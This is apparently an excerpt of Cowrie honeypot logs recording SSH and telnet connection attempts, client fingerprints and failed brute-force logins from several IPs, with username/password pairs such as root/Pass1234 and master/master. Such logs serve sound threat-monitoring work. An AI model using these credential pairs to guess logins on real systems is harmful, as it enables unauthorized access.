{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:32.319517Z","src_ip":"170.106.177.3","session":"617175dbcf49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:32.326092Z","src_ip":"45.153.34.112","session":"e855cd60185b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:32.331037Z","src_ip":"186.68.83.105","session":"360553b6ba5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude123","message":"login attempt [claude/claude123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:32.625186Z","src_ip":"170.106.177.3","session":"617175dbcf49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nosceteipsum","message":"login attempt [root/nosceteipsum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:32.718282Z","src_ip":"186.68.83.105","session":"360553b6ba5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:33.697225Z","src_ip":"170.106.177.3","session":"617175dbcf49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:33.810220Z","src_ip":"186.68.83.105","session":"360553b6ba5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46886,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d9bdfb1b2b8","protocol":"telnet","message":"New connection: 192.119.13.58:46886 (10.17.0.5:23) [session: 6d9bdfb1b2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:34.108615Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38620,"dst_ip":"10.17.0.5","dst_port":22,"session":"37167ab5fc6c","protocol":"ssh","message":"New connection: 45.153.34.112:38620 (10.17.0.5:22) [session: 37167ab5fc6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:34.766503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:34.772832Z","src_ip":"45.153.34.112","session":"37167ab5fc6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:34.856639Z","src_ip":"45.153.34.112","session":"37167ab5fc6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:35.105605Z","src_ip":"45.153.34.112","session":"37167ab5fc6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:36.196195Z","src_ip":"45.153.34.112","session":"37167ab5fc6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.08210277557373,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:37.856591Z","src_ip":"192.119.13.58","session":"a96e453e5b6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.846055030822754,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:37.945593Z","src_ip":"192.119.13.58","session":"6e51d3da0ea3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":38628,"dst_ip":"10.17.0.5","dst_port":22,"session":"29d81cc86ddb","protocol":"ssh","message":"New connection: 45.153.34.112:38628 (10.17.0.5:22) [session: 29d81cc86ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:38.356218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:38.362168Z","src_ip":"45.153.34.112","session":"29d81cc86ddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:38.445063Z","src_ip":"45.153.34.112","session":"29d81cc86ddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:38.691153Z","src_ip":"45.153.34.112","session":"29d81cc86ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:39.828405Z","src_ip":"45.153.34.112","session":"29d81cc86ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44660,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5a9a5fdabd5","protocol":"telnet","message":"New connection: 192.119.13.58:44660 (10.17.0.5:23) [session: e5a9a5fdabd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:40.442455Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":47640,"dst_ip":"10.17.0.5","dst_port":22,"session":"7939c1f257c0","protocol":"ssh","message":"New connection: 45.153.34.112:47640 (10.17.0.5:22) [session: 7939c1f257c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:42.115519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:42.177256Z","src_ip":"45.153.34.112","session":"7939c1f257c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:42.227335Z","src_ip":"45.153.34.112","session":"7939c1f257c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master","message":"login attempt [master/master] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:42.530903Z","src_ip":"45.153.34.112","session":"7939c1f257c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:43.619748Z","src_ip":"45.153.34.112","session":"7939c1f257c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60334,"dst_ip":"10.17.0.5","dst_port":23,"session":"59f1c0d4d8f6","protocol":"telnet","message":"New connection: 192.119.13.58:60334 (10.17.0.5:23) [session: 59f1c0d4d8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:44.316360Z"}
{"eventid":"cowrie.session.closed","duration":34.25790572166443,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:44.415912Z","src_ip":"192.119.13.58","session":"1fd7b18319e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39032,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cca7b633951","protocol":"telnet","message":"New connection: 192.119.13.58:39032 (10.17.0.5:23) [session: 9cca7b633951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:45.953988Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":47668,"dst_ip":"10.17.0.5","dst_port":22,"session":"54a67223e0d3","protocol":"ssh","message":"New connection: 45.153.34.112:47668 (10.17.0.5:22) [session: 54a67223e0d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:45.964966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:45.970738Z","src_ip":"45.153.34.112","session":"54a67223e0d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:46.054390Z","src_ip":"45.153.34.112","session":"54a67223e0d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:46.303632Z","src_ip":"45.153.34.112","session":"54a67223e0d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:47.442516Z","src_ip":"45.153.34.112","session":"54a67223e0d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":41702,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebcc977b3eb4","protocol":"ssh","message":"New connection: 103.122.221.179:41702 (159.203.135.109:22) [session: ebcc977b3eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:48.294109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:48.299284Z","src_ip":"103.122.221.179","session":"ebcc977b3eb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:48.562937Z","src_ip":"103.122.221.179","session":"ebcc977b3eb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"assassins","message":"login attempt [root/assassins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:49.357004Z","src_ip":"103.122.221.179","session":"ebcc977b3eb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43430,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed1fc0133ef6","protocol":"ssh","message":"New connection: 45.153.34.112:43430 (10.17.0.5:22) [session: ed1fc0133ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:49.645173Z"}
{"eventid":"cowrie.session.closed","duration":33.018524408340454,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:49.669404Z","src_ip":"192.119.13.58","session":"8d3f2e77294c","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:49.761244Z","src_ip":"45.153.34.112","session":"ed1fc0133ef6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:49.765713Z","src_ip":"45.153.34.112","session":"ed1fc0133ef6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass1234","message":"login attempt [root/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:50.139225Z","src_ip":"45.153.34.112","session":"ed1fc0133ef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:50.624269Z","src_ip":"103.122.221.179","session":"ebcc977b3eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:20:51.228237Z","src_ip":"45.153.34.112","session":"ed1fc0133ef6","protocol":"ssh"}
